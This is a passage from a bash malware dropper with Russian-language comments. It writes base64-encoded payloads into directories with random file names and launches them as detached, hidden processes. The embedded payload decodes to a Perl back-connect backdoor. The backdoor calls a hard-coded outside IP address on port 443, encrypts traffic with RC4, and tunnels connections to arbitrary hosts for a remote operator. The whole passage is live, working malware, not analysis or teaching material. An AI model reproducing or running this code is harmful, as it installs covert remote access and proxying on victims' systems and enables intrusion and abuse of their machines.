CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #43 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #43 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 44 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #44 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #44 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 45 --- 